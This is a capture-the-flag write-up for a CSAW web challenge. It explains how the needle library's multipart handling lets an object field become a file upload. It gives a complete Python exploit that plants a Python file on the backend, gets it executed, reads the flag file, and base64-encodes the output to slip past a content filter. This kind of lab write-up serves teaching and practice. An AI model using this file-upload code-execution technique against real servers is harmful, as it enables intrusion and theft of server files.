Challenge
An Express site where you adopt an “angel” and can back it up and restore it. The frontend forwards to a backend over the needle library:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| app.post('/angel', (req, res) => {
for (const [k,v] of Object.entries(req.body.angel)) {
if (k != "talents" && typeof v != 'string') {
return res.status(500).send("ERROR!");
}
}
req.session.angel = {
name: req.body.angel.name,
actress: req.body.angel.actress,
movie: req.body.angel.movie,
talents: req.body.angel.talents
};
const data = { id: req.sessionID, angel: req.session.angel };
const boundary = Math.random().toString(36).slice(2) + Math.random().toString(36).slice(2);
needle.post(BACKUP + '/backup', data, {multipart: true, boundary: boundary}, (error, response) => { ... });
return res.status(200).send(req.sessionID);
});
app.get('/restore', authn, (req, res) => {
let restoreURL = BACKUP + `/restore?id=${req.sessionID}`;
needle.get(restoreURL, (error, response) => { ... return res.send(response.body); });
});
|
Note the validation: every field except talents has to be a string. talents is allowed to be an object. The flag lives in a file named flag, and the restore path filters out responses that contain flag-looking content, so it has to come back disguised.
Approach
needle has a half-documented behavior: when it sends a multipart body and any field (or subfield) is an object carrying the magic keys filename, content_type, and buffer, it implicitly turns that field into a file upload (source).
Since talents is allowed to be an object, it can carry exactly those keys. The backend writes the saved angel to a file, and it will execute a saved angel as Python if a matching .py file exists. So the upload drops <session-id>.py with attacker content, and the restore step runs it. To get past the flag filter on the response, the payload base64-encodes the flag before printing.
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| import requests
session = requests.Session()
ENDPOINT = "https://charliesangels.ctf.csaw.io"
r = session.get(f"{ENDPOINT}/angel")
session_id = r.json()["id"]
SOLUTION_FILE_CONTENTS = """
import base64
with open("/flag", "rb") as f:
flag_contents = f.read()
print(base64.b64encode(flag_contents))
"""
# talents is allowed to be an object, so needle uploads it as a file
session.post(f"{ENDPOINT}/angel", json={
"angel": {
"talents": {
"filename": f"{session_id}.py",
"content_type": "text/x-python",
"buffer": SOLUTION_FILE_CONTENTS
}
}
})
r = session.get(f"{ENDPOINT}/restore")
print(r.text)
|
The restore returns the base64 blob, which decodes to the flag:
Y3Nhd2N0Zntnb29kX21vcm5pbmdfYW5nZWxzIV9HT09EX01PUk5JTkdfQ0hBUkxJRSEhfQ==
Flag
csawctf{good_morning_angels!_GOOD_MORNING_CHARLIE!!}